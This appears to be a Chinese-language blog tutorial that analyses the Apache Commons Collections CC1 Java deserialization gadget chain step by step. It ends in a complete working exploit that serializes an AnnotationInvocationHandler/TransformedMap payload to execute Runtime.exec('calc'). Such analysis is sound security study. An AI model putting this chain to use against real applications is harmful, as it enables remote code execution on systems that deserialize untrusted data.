• Java反序列化之CommonsCollections(CC1)分析篇



    前言

          本文包括:Java反序列化之CommonsCollections篇(CC1)的一些过程分析。


    一、过程分析

       1.入口点—危险方法InvokerTransformer.transform()

         1)入口点是Transformer类,Transformer类是Commons Collections中自定义的一组功能类。Transformer类的功能就是接收一个对象然后调用transform方法,对这个对象做一些操作。
    在这里插入图片描述
         2)可以看看这个transformer的实现类有哪些都怎么做的。可以自己逐一看看,CC1链重点类是InvokerTransformer类,所以我们直接看这个类。
    在这里插入图片描述
         3)可以发现是input接收一个对象然后通过反射的方法进行函数调用,其中的方法值(iMethodName),参数类型(iParamTypes),还有参数(iArgs),全部都可控,就是一个标准的任意方法调用。这里只需要传入三个参数就可以调用对象中的任意函数了。
    在这里插入图片描述
         4)参照并使用InvokerTransformer.transform的写法弹个计算器。在CC1链中InvokerTransformer.transform方法就是最终调用的危险方法。transform()方法主要就是用于对象转换。

    import org.apache.commons.collections.functors.InvokerTransformer;
    import java.lang.reflect.Method;
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
    //        // 1.先弹个计算器
    //        Runtime.getRuntime().exec("calc");
    
    //        // 2.写一个普通的反射
    //        Runtime r = Runtime.getRuntime();
    //        // 获取Runtime的class
    //        Class c = Runtime.class;
    //        // 获取Runtime的exec方法
    //        Method execMethod = c.getMethod("exec",String.class);
    //        // 调用exec方法
    //        execMethod.invoke(r,"calc");
    
            // 3.InvokerTransformer的写法
            Runtime r = Runtime.getRuntime();
            // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
            
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    在这里插入图片描述
    在这里插入图片描述

       2.触发危险函数TransformedMap.checkSetValue()

         1)上面我们通过InvokerTransformer.transform方法弹了个计算器,然继续往下分析。我们通过案例中的transform,找到InvokerTransformer.java文件中的transform方法,然后在此方法上右键找到都有哪些使用了这个方法,发现一共有21个。
    在这里插入图片描述
         2)从这21个结果中逐一去分析,我们主要找不同名字的调用transform,因为transform调用transform没有意义。最终我们找到了这个TransformedMap类,TransformedMap类的功能就是接收一个Map进来然后对它的key和value进行一些操作。可以看到有三个方法都调用了。
    在这里插入图片描述
         3)我们直接看第三个checkSetValue方法,发现是checkSetValue方法中的valueTransformer调用了transform()。
    在这里插入图片描述
         4)往上翻看一下valueTransformer的构造函数,发现是构造函数是protected受保护的类,说明是自己调用的,功能就是对传进来的map的key和value做一些操作。我们需要找到公共的类,所以还需在看。
    在这里插入图片描述
         5)在往上翻看看是在哪里调用了,翻到73行可以看到一个静态方法decorate(),这个方法里完成了装饰的操作。那么就是只要使用公共的静态函数decorate()调用TransformedMap,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap。
    在这里插入图片描述
         6)往下找到可控参数后,在往上找看一下谁调用了checkSetValue。可以发现就一例调用了,在AbstractInputCheckedMapDecorator中的setValue。可以发现TransformedMap的父类就是这个AbstractInputCheckedMapDecorator。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
         7)setValue方法在MapEntry类里面,然后再重复之前的动作再找一下是谁调用了setValue,发现有38个结果。
    在这里插入图片描述
    在这里插入图片描述
         8)不想找也可以理解一下,Entry是HashMap遍历的时候,一个键值对就是一个Entry。写一个测试案例理解一下。查看setValue实际上就是entry.setValue(),它是重写了这个方法。

    // 创建一个HashMap
    HashMap<Object, Object> map = new HashMap<>();
    // 附下值
    map.put("key","value");
    // 遍历
    for(Map.Entry entry:map.entrySet()){
        entry.getValue();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
         9)现在就是只要我们遍历这个被修饰过的Map调用decorate()就会走到这个MapEntry类中的setValue方法。过程简述如下所示。
    在这里插入图片描述
    在这里插入图片描述

         10)一个完整案例。现在就是只要调用setValue方法我们就能执行命令。调用流程如下所示

    AbstractInputCheckedMapDecorator.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
    
    • 1
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Runtime r = Runtime.getRuntime();
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    
            // 创建一个HashMap
            HashMap<Object, Object> map = new HashMap<>();
            // 附下值
            map.put("key","value");
            Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
            // 遍历
            for(Map.Entry entry:transformedMap.entrySet()){
                entry.setValue(r);
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    在这里插入图片描述在这里插入图片描述

       3.AnnotationInvocationHandler类

         1)刚刚是描述如何触发这个漏洞,我们手动向修饰过的map中添加新元素从而触发一系列的回调,但在实际的漏洞利用环境中我们肯定是不能手工执行的,我们需要让它在反序列化后能自动触发,也就是说需要找个某个类,在执行了这个类的readObject后能够触发回调的,在继续找是谁调用了,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类。
    在这里插入图片描述
         2)这个readObject中有一个遍历Map的功能,这里的一个值调用了setValue方法(),找到这个类后看看有没有什么可控参数,从这个类的名字AnnotationInvocationHandler可知它是动态代理过程中调用处理器类。
    在这里插入图片描述
         3)看一下这个AnnotationInvocationHandler类的参数,构造函数中是接收了两个参数,第一个是type是class对象并且继承了Annotation的泛型,第二个是memberValues是Map对象,这个Map对象就是可控的。这里需要注意这个包没有写public,什么也没有写在java里面就是默认的 default类型,default类型只有在这个包里面才能访问。这里就只能用反射去获取了。
    在这里插入图片描述
         4)设计一个流程。

    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Runtime r = Runtime.getRuntime();
            InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    
            // 创建一个HashMap
            HashMap<Object, Object> map = new HashMap<>();
            // 附下值
            map.put("key","value");
            Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
            // 遍历
    //        for(Map.Entry entry:transformedMap.entrySet()){
    //            entry.setValue(r);
    //        }
    
            // 反射创建
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取私有构造器
            Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
            // 确认可以访问的
            annotationInvocationHandlerConstructor.setAccessible(true);
            // 实例化
            Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
            serialize(o);
            unserialize("ser.bin");
        }
    
        private static void serialize(Object obj) throws Exception {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
        private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47

         5)现在这个流程还有几个问题,第一个需要满足两个 if 判断,第二是setValue这个是需要传的是runtime对象,但是现在他是AnnotationTypeMismatchExceptionProxy这个对象,另外就是上例中的Runtime对象是我们自己手动生成的,这个是不能序列化的因为没有继承序列化的接口,所以只能通过反射来使用。
    在这里插入图片描述
    在这里插入图片描述
         6)先解决不能序列化的问题,Runtime.getRuntime()不能序列化但是Runtime.class是可以序列化的。我们查看Runtime这个类,可以发现有个一个方法能够返回Runtime。
    在这里插入图片描述
         7)先来一个调用Runtime.class的普通反射。

    import java.lang.reflect.Method;
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Class c = Runtime.class;
            // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
            Method getRuntimeMethod = c.getMethod("getRuntime",null);
            // 反射调用  因为它是静态方法并且无参数调用所以都为null
            Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
            // 反射调用Runtime的exec方法
            Method execMethod = c.getMethod("exec",String.class);
            execMethod.invoke(r,"calc");
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    在这里插入图片描述
         8)还是再来一个InvokerTransformer的版本。第一步先获取到getRuntimeMethod。

    // InvokerTransformer的类型为new Class[]和Object[]
    // getMethod方法第一个是String,第二个是class数组  ...可变代表数组
    // 第一个new Class[]就参照getMethod方法为String.class和Class[].class
    // 第二个new Object[] 就是"getRuntime"和null
    Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
    {String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
         9)第二步获取getRuntimeMethod之后在调用invoke方法。

    // InvokerTransformer的类型为new Class[]和new Object[],
    // 第一个new Class[]就参照invoke方法为Object.class和Object[].class
    // 第二个new Object[] 就是null和null
    Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
    {Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述
    在这里插入图片描述
         10)第三步就是反射调用。最终代码和运行结果如下

    import org.apache.commons.collections.functors.InvokerTransformer;
    
    import java.lang.reflect.Method;
    
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            // InvokerTransformer的版本
            Class c = Runtime.class;
            Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime",null}).transform(Runtime.class);
            Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
                    new Object[]{null,null}).transform(getRuntimeMethod);
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在这里插入图片描述

       4.ChainedTransformer类

         1)之前都是循环调用InvokerTransformer,所以使用ChainedTransformer类。ChainedTransformer有序列化的接口。现在解决了Runtime反射调用的问题。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Transformer[] transformer = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
            chainedTransformer.transform(Runtime.class);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在这里插入图片描述
         2)在通过调试看一下第一个两个if判断的问题。目前的写法是进不去第一个if判断的。通过调试发现通过序列化接口进入,然后此时的AnnotationType.getInstance(type)中的type为Override,想要获取Override里面成员变量,但是此时值是空的没有值获取不了。
    在这里插入图片描述
    在这里插入图片描述
         3)往下看也知道是先通过memberValue这个键值对,用memberValue.getKey()获取key,获取到key后在memberTypes.get(name)中查找这个key。又因为Override中没有值现在条件不满足,要能满足第一个if条件的话我们需要找到一个有成员方法的class,同时数组的key要改成他成员方法的名字。

    在这里插入图片描述
         4)这里是用的Target,里面有一个value(),可以发现再次调试就进入了第一个if判断里面。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Transformer[] transformer = new Transformer[]{
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
            chainedTransformer.transform(Runtime.class);
    
            // 创建一个HashMap
            HashMap<Object, Object> map = new HashMap<>();
            // 附下值
            map.put("value","asdf");
            Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    //        // 遍历
            for(Map.Entry entry:transformedMap.entrySet()){
                entry.setValue(r);
            }
    //
            // 反射创建
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取私有构造器
            Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
            // 确认可以访问的
            annotationInvocationHandlerConstructor.setAccessible(true);
            // 实例化
            Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
            serialize(o);
            unserialize("ser.bin");
        }
    
        private static void serialize(Object obj) throws Exception {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
        private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59

    在这里插入图片描述
    在这里插入图片描述
         5)第二个if是判断能否强转,这里强转不了所以能够进入到第二if判断中。

       5.ChainedTransformer类

         1)最后利用ChainedTransformer类完成整个利用链。最终代码和结果如下。

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.annotation.Target;
    import java.lang.reflect.Constructor;
    import java.util.HashMap;
    import java.util.Map;
    
    
    public class CC1 {
        public static void main(String[] atgs) throws Exception
        {
            Transformer[] transformer = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
            chainedTransformer.transform(Runtime.class);
    
            // 创建一个HashMap
            HashMap<Object, Object> map = new HashMap<>();
            // 附下值
            map.put("value","asdf");
            Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
    
            // 反射创建
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            // 获取私有构造器
            Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
            // 确认可以访问的
            annotationInvocationHandlerConstructor.setAccessible(true);
            // 实例化
            Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
            serialize(o);
            unserialize("ser.bin");
        }
    
        private static void serialize(Object obj) throws Exception {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
    
        private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57

    在这里插入图片描述

  • 相关阅读:
    Go学习第十五章——Gin参数绑定bind与验证器
    丁鹿学堂:转行前端开发很辛苦怎么办
    ESP8266-Arduino编程实例-OLED显示QR码(二维码)
    并发编程 --- 信号量线程同步
    2022年8月的10篇论文推荐
    多模态大模型训练数据集汇总介绍
    活动预告:如何培养高质量应用型医学人才?
    Linux中使用Docker安装MySQL5.7(CentOS)
    自然语言处理长文本场景下的信息结构化实践:文本分割(话题分割、段落分割、Text segmentation、TextTiling算法)标题生成两大任务
    mysql常见错误
  • 原文地址:https://blog.csdn.net/qq_44029310/article/details/127856016